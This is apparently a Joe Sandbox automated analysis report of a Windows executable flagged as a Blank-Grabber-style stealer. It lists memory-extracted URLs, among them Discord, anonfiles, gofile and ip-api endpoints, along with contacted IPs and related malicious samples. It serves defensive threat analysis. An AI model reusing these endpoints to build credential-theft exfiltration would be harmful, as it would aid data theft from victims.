                  https://google.coBuilt (1).exe, 00000001.00000003.1893968166.000001887BDB6000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1672833229.000001887BDB7000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1693657189.000001887BDB7000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1685923176.000001887BDB7000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1703343215.000001887BDB7000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1896412902.000001887BDB6000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1698731723.000001887BDB7000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1668428814.000001887BDB7000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1714578869.000001887BDB5000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000002.1902509315.000001887BDB6000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://www.ecosia.org/newtab/Built (1).exe, 00000001.00000002.1902509315.000001887BDAF000.00000004.00000020.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  https://media.discordapp.net/attachments/1225551775071997995/1240438656632754226/Blank-user.rar?ex=Built (1).exe, 00000001.00000002.1901063320.000001887BB73000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-brBuilt (1).exe, 00000001.00000003.1656874399.000001887BC85000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1656874399.000001887BC5F000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1656874399.000001887BC4F000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1676919842.000001887BC85000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1708745261.000001887C943000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1676560556.000001887C65F000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1682610722.000001887BB7D000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1656874399.000001887BB76000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1657773851.000001887BC50000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1693462750.000001887BE17000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1666081717.000001887BC60000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1685217765.000001887BE17000.00000004.00000020.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  https://www.youtube.com/Built (1).exe, 00000001.00000002.1903442636.000001887C18C000.00000004.00001000.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  https://allegro.pl/Built (1).exe, 00000001.00000002.1903442636.000001887C18C000.00000004.00001000.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  https://github.com/Pester/Pesterpowershell.exe, 00000008.00000002.1727952081.0000027089056000.00000004.00000800.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://images-ext-1.discordapp.net/external/etSU0hGkd0ttMXA41AUjUl74oI1ajbez8WS2N-KLvK4/https/raw.gBuilt (1).exe, 00000001.00000003.1894648787.000001887B8F6000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000002.1901063320.000001887BB73000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535Built (1).exe, 00000001.00000003.1698731723.000001887BD1D000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1668428814.000001887BD0E000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1893968166.000001887BD1B000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1656142939.000001887B7AA000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1896020868.000001887B7B8000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1672833229.000001887BD0E000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000002.1900050491.000001887B7B8000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1693657189.000001887BCF0000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000002.1902509315.000001887BD1B000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1699398878.000001887B7B8000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1685923176.000001887BD0E000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1703343215.000001887BD1D000.00000004.00000020.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  http://www.microsoftANIFE~1FLy.Built (1).exe, 00000001.00000002.1902509315.000001887BE17000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1893968166.000001887BDB6000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1895038770.000001887BE00000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1896346988.000001887BE16000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_syBuilt (1).exe, 00000001.00000003.1628608995.000001887B321000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1628380538.000001887B329000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1628769850.000001887B328000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000002.1898999838.000001887B300000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1628103930.000001887B329000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://MD8.mozilla.org/1/mBuilt (1).exe, 00000001.00000002.1903442636.000001887C1E8000.00000004.00001000.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  https://www.python.org/psf/license/Built (1).exe, Built (1).exe, 00000001.00000002.1906643440.00007FFDFB6D7000.00000040.00000001.01000000.00000004.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  https://www.bbc.co.uk/Built (1).exe, 00000001.00000002.1903442636.000001887C18C000.00000004.00001000.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://cdn.discordapp.com/attachments/1225551775071997995/1240438656632754226/Blank-user.rar?ex=66Built (1).exe, 00000001.00000002.1901063320.000001887BB73000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://bugzilla.moBuilt (1).exe, 00000001.00000002.1903442636.000001887C1A0000.00000004.00001000.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  https://api.anonfiles.com/uploadrBuilt (1).exe, 00000001.00000003.1641004156.000001887BD40000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://tools.ietf.org/html/rfc6125#section-6.4.3Built (1).exe, 00000001.00000002.1903170214.000001887C100000.00000004.00001000.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  http://schemas.xmlsoap.org/wsdl/powershell.exe, 00000008.00000002.1727952081.0000027089056000.00000004.00000800.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  http://www.microsoftRUSTT~2JSOy.Built (1).exe, 00000001.00000003.1693462750.000001887BE17000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://google.com/mailBuilt (1).exe, 00000001.00000003.1714578869.000001887BDB5000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000002.1902509315.000001887BDB6000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1693462750.000001887BE17000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1685217765.000001887BE17000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016ExamplesBuilt (1).exe, 00000001.00000003.1893968166.000001887BDB6000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1894400393.000001887C68E000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1895038770.000001887BE00000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000002.1902509315.000001887BE11000.00000004.00000020.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  https://www.python.org/psf/license/)Built (1).exe, 00000001.00000002.1906643440.00007FFDFB5D2000.00000040.00000001.01000000.00000004.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.pyBuilt (1).exe, 00000001.00000003.1628103930.000001887B329000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://www.google.com/Built (1).exe, 00000001.00000002.1903442636.000001887C18C000.00000004.00001000.00020000.00000000.sdmp, Built (1).exe, 00000001.00000002.1903442636.000001887C1B8000.00000004.00001000.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://www.iqiyi.com/Built (1).exe, 00000001.00000002.1903442636.000001887C18C000.00000004.00001000.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://foss.heptapod.net/pypy/pypy/-/issues/3539Built (1).exe, 00000001.00000002.1903170214.000001887C094000.00000004.00001000.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.Built (1).exe, 00000001.00000003.1656142939.000001887B81C000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000002.1900050491.000001887B81C000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1711009136.000001887BB7D000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1682610722.000001887BB7D000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000002.1901063320.000001887BB73000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1656874399.000001887BB76000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1699398878.000001887B81C000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1896020868.000001887B81C000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1720604043.000001887BB7D000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870.1Built (1).exe, 00000001.00000002.1903170214.000001887C094000.00000004.00001000.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://google.com/Built (1).exe, 00000001.00000003.1668428814.000001887BD79000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1693657189.000001887BD79000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000002.1902509315.000001887BD79000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1896412902.000001887BD79000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1698731723.000001887BD79000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1703343215.000001887BD79000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1685923176.000001887BD79000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1672833229.000001887BD79000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDFBuilt (1).exe, 00000001.00000003.1708745261.000001887C943000.00000004.00000020.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  https://api.gofile.io/getServerrBuilt (1).exe, 00000001.00000003.1641004156.000001887BD40000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://ocsp.sectigo.com0Built (1).exe, 00000000.00000003.1624094448.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.drfalse
                  • URL Reputation: safe
                  		unknown
                  https://tools.ietf.org/html/rfc7231#section-4.3.6)Built (1).exe, 00000001.00000003.1710793218.000001887B8E4000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1699398878.000001887B8E4000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000002.1900575971.000001887B8EC000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1656142939.000001887B8E4000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1720061542.000001887B8E4000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1680136052.000001887B8E4000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1895587301.000001887B8E5000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://www.python.org/download/releases/2.3/mro/.Built (1).exe, 00000001.00000003.1628608995.000001887B321000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000002.1898224192.000001887B140000.00000004.00001000.00020000.00000000.sdmp, base_library.zip.0.drfalse
                  • URL Reputation: safe
                  		unknown
                  https://contoso.com/Licensepowershell.exe, 00000008.00000002.1808275308.0000027098EF5000.00000004.00000800.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  https://discordapp.com/api/v9/users/Built (1).exe, 00000001.00000002.1899778682.000001887B640000.00000004.00001000.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://ip-api.com/json/?fields=225545rBuilt (1).exe, 00000001.00000003.1641004156.000001887BD40000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=Built (1).exe, 00000001.00000002.1902509315.000001887BDAF000.00000004.00000020.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  https://github.com/urllib3/urllib3/issues/2920Built (1).exe, 00000001.00000002.1903068952.000001887BF40000.00000004.00001000.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Built (1).exe, 00000001.00000003.1894400393.000001887C6B2000.00000004.00000020.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#Built (1).exe, 00000000.00000003.1624094448.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.drfalse
                  • URL Reputation: safe
                  		unknown
                  https://yahoo.com/Built (1).exe, 00000001.00000003.1656102867.000001887BE00000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000002.1902509315.000001887BE17000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1893968166.000001887BDB6000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1672833229.000001887BDB7000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1714578869.000001887BE16000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1698986018.000001887BE17000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1693657189.000001887BDB7000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1685923176.000001887BDB7000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1703343215.000001887BDB7000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1895038770.000001887BE00000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1896412902.000001887BDB6000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1698731723.000001887BDB7000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1896346988.000001887BE16000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1668428814.000001887BDB7000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1714578869.000001887BDB5000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000002.1902509315.000001887BDB6000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1693462750.000001887BE17000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1685217765.000001887BE17000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://account.bellmedia.cBuilt (1).exe, 00000001.00000003.1718300953.000001887BC83000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000002.1903442636.000001887C214000.00000004.00001000.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  http://www.microsoftESSIO~1MD5y.Built (1).exe, 00000001.00000003.1714578869.000001887BE16000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://support.office.com/article/9Built (1).exe, 00000001.00000003.1893968166.000001887BDB6000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1895038770.000001887BE00000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000002.1902509315.000001887BE11000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6Built (1).exe, 00000001.00000003.1656102867.000001887BE00000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000002.1902509315.000001887BE17000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1893968166.000001887BDB6000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1714578869.000001887BE16000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1698986018.000001887BE17000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1895038770.000001887BE00000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1896346988.000001887BE16000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1693462750.000001887BE17000.00000004.00000020.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1685217765.000001887BE17000.00000004.00000020.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  https://login.microsoftonline.comBuilt (1).exe, 00000001.00000002.1903442636.000001887C18C000.00000004.00001000.00020000.00000000.sdmp, Built (1).exe, 00000001.00000002.1903442636.000001887C208000.00000004.00001000.00020000.00000000.sdmp, Built (1).exe, 00000001.00000003.1718300953.000001887BC83000.00000004.00000020.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  http://cacerts.digicert.coBuilt (1).exe, 00000000.00000003.1624694595.0000024AA4586000.00000004.00000020.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  http://crl.thawte.com/ThawteTimestampingCA.crl0Built (1).exe, 00000000.00000003.1624094448.0000024AA4586000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.drfalse
                  • URL Reputation: safe
                  		unknown
                  https://html.spec.whatwg.org/multipage/Built (1).exe, 00000001.00000002.1898999838.000001887B300000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://www.ifeng.com/Built (1).exe, 00000001.00000002.1903442636.000001887C18C000.00000004.00001000.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warningsBuilt (1).exe, 00000001.00000002.1903068952.000001887BF40000.00000004.00001000.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://www.zhihu.com/Built (1).exe, 00000001.00000002.1903442636.000001887C1B8000.00000004.00001000.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17InstallBuilt (1).exe, 00000001.00000003.1894400393.000001887C68E000.00000004.00000020.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchBuilt (1).exe, 00000001.00000002.1902509315.000001887BDAF000.00000004.00000020.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  https://contoso.com/powershell.exe, 00000008.00000002.1808275308.0000027098EF5000.00000004.00000800.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.pngponBuilt (1).exe, 00000001.00000002.1899513389.000001887B540000.00000004.00001000.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://api.gofile.io/getServerBuilt (1).exe, 00000001.00000002.1900783460.000001887B940000.00000004.00001000.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.pngBuilt (1).exe, 00000001.00000002.1902509315.000001887BDB6000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown

                  World Map of Contacted IPs

                  • No. of IPs < 25%
                  • 25% < No. of IPs < 50%
                  • 50% < No. of IPs < 75%
                  • 75% < No. of IPs

                  Public IPs

                  IPDomainCountryFlagASNASN NameMalicious
                  208.95.112.1
                  		ip-api.comUnited States
                  		53334TUT-ASUSfalse
                  162.159.128.233
                  		canary.discord.comUnited States
                  		13335CLOUDFLARENETUSfalse

                  General Information

                  Joe Sandbox version:40.0.0 Tourmaline
                  Analysis ID:1442321
                  Start date and time:2024-05-16 00:59:08 +02:00
                  Joe Sandbox product:CloudBasic
                  Overall analysis duration:0h 11m 4s
                  Hypervisor based Inspection enabled:false
                  Report type:full
                  Cookbook file name:default.jbs
                  Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                  Number of analysed new started processes analysed:99
                  Number of new started drivers analysed:0
                  Number of existing processes analysed:0
                  Number of existing drivers analysed:0
                  Number of injected processes analysed:0
                  Technologies:
                  • HCA enabled
                  • EGA enabled
                  • AMSI enabled
                  Analysis Mode:default
                  Analysis stop reason:Timeout
                  Sample name:Built (1).exe
                  Detection:MAL
                  Classification:mal100.rans.troj.adwa.spyw.evad.winEXE@155/47@2/2
                  EGA Information:
                  • Successful, ratio: 75%
                  HCA Information:Failed
                  Cookbook Comments:
                  • Found application associated with file extension: .exe

                  Warnings

                  • Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe, svchost.exe
                  • Excluded IPs from analysis (whitelisted): 142.250.217.227
                  • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, gstatic.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                  • Execution Graph export aborted for target powershell.exe, PID 7700 because it is empty
                  • Not all processes where analyzed, report is missing behavior information
                  • Report size exceeded maximum capacity and may have missing behavior information.
                  • Report size exceeded maximum capacity and may have missing disassembly code.
                  • Report size getting too big, too many NtCreateFile calls found.
                  • Report size getting too big, too many NtCreateKey calls found.
                  • Report size getting too big, too many NtEnumerateKey calls found.
                  • Report size getting too big, too many NtOpenFile calls found.
                  • Report size getting too big, too many NtOpenKeyEx calls found.
                  • Report size getting too big, too many NtQueryValueKey calls found.
                  • Report size getting too big, too many NtQueryVolumeInformationFile calls found.
                  • VT rate limit hit for: Built (1).exe

                  Simulations

                  Behavior and APIs

                  TimeTypeDescription
                  00:59:58API Interceptor5x Sleep call for process: WMIC.exe modified
                  00:59:59API Interceptor125x Sleep call for process: powershell.exe modified

                  Joe Sandbox View / Context

                  IPs

                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                  208.95.112.1orden_##9887532#2587568450323533950_3464665478768797989878009878769769789.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                  • ip-api.com/line/?fields=hosting
                  LCS-155-44 01_General_Purchase_Order_Terms_and_Conditions.htaGet hashmaliciousAgentTesla, GuLoaderBrowse
                  • ip-api.com/line/?fields=hosting
                  lista comenzii de achizitie.xla.xlsxGet hashmaliciousAgentTeslaBrowse
                  • ip-api.com/line/?fields=hosting
                  Shipping Documents.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                  • ip-api.com/line/?fields=hosting
                  RFQ10675000162.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                  • ip-api.com/line/?fields=hosting
                  LCS-155-44 01_General_Purchase_Order_Terms_and_Conditions.vbsGet hashmaliciousAgentTesla, GuLoaderBrowse
                  • ip-api.com/line/?fields=hosting
                  R8w7flzHYF.exeGet hashmaliciousUnknownBrowse
                  • ip-api.com/json/?fields=status,message,query,country,regionName,city,isp,timezone
                  cuObZRxN0x.exeGet hashmaliciousPython Stealer, Monster StealerBrowse
                  • ip-api.com/json
                  R8w7flzHYF.exeGet hashmaliciousUnknownBrowse
                  • ip-api.com/json/?fields=status,message,query,country,regionName,city,isp,timezone
                  MT_078410_00_032.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                  • ip-api.com/line/?fields=hosting
                  162.159.128.233file.exeGet hashmaliciousLummaC, Glupteba, PureLog Stealer, RisePro Stealer, SmokeLoader, Stealc, zgRATBrowse
                  • discord.com/phpMyAdmin/

                  Domains

                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                  canary.discord.comGalacticShooter (3).exeGet hashmaliciousUnknownBrowse
                  • 162.159.136.232
                  GalacticShooter (3).exeGet hashmaliciousUnknownBrowse
                  • 162.159.128.233
                  322pVOVprx.exeGet hashmaliciousCreal StealerBrowse
                  • 162.159.128.233
                  S3zoj9Uts0.exeGet hashmaliciousUnknownBrowse
                  • 162.159.138.232
                  uBZeAVcb6r.exeGet hashmaliciousUnknownBrowse
                  • 162.159.137.232
                  12057ad2.exeGet hashmaliciousNitroRansomwareBrowse
                  • 162.159.138.232
                  build (2).exeGet hashmaliciousStealeriumBrowse
                  • 162.159.136.232
                  Evo_Spoofer_V2.exeGet hashmaliciousHog GrabberBrowse
                  • 162.159.135.232
                  qgMcnt4meR.exeGet hashmaliciousUnknownBrowse
                  • 162.159.128.233
                  04A31AE8A31BB4144D7392040442F4A38E8301CC55012.exeGet hashmaliciousAsyncRATBrowse
                  • 162.159.136.232
                  ip-api.comorden_##9887532#2587568450323533950_3464665478768797989878009878769769789.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                  • 208.95.112.1
                  LCS-155-44 01_General_Purchase_Order_Terms_and_Conditions.htaGet hashmaliciousAgentTesla, GuLoaderBrowse
                  • 208.95.112.1
                  lista comenzii de achizitie.xla.xlsxGet hashmaliciousAgentTeslaBrowse
                  • 208.95.112.1
                  Shipping Documents.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                  • 208.95.112.1
                  RFQ10675000162.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                  • 208.95.112.1
                  LCS-155-44 01_General_Purchase_Order_Terms_and_Conditions.vbsGet hashmaliciousAgentTesla, GuLoaderBrowse
                  • 208.95.112.1
                  R8w7flzHYF.exeGet hashmaliciousUnknownBrowse
                  • 208.95.112.1
                  cuObZRxN0x.exeGet hashmaliciousPython Stealer, Monster StealerBrowse
                  • 208.95.112.1
                  R8w7flzHYF.exeGet hashmaliciousUnknownBrowse
                  • 208.95.112.1
                  MT_078410_00_032.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                  • 208.95.112.1

                  ASNs

                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                  TUT-ASUSorden_##9887532#2587568450323533950_3464665478768797989878009878769769789.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                  • 208.95.112.1
                  LCS-155-44 01_General_Purchase_Order_Terms_and_Conditions.htaGet hashmaliciousAgentTesla, GuLoaderBrowse
                  • 208.95.112.1
                  lista comenzii de achizitie.xla.xlsxGet hashmaliciousAgentTeslaBrowse
                  • 208.95.112.1
                  Shipping Documents.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                  • 208.95.112.1
                  RFQ10675000162.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                  • 208.95.112.1
                  LCS-155-44 01_General_Purchase_Order_Terms_and_Conditions.vbsGet hashmaliciousAgentTesla, GuLoaderBrowse
                  • 208.95.112.1
                  R8w7flzHYF.exeGet hashmaliciousUnknownBrowse
                  • 208.95.112.1
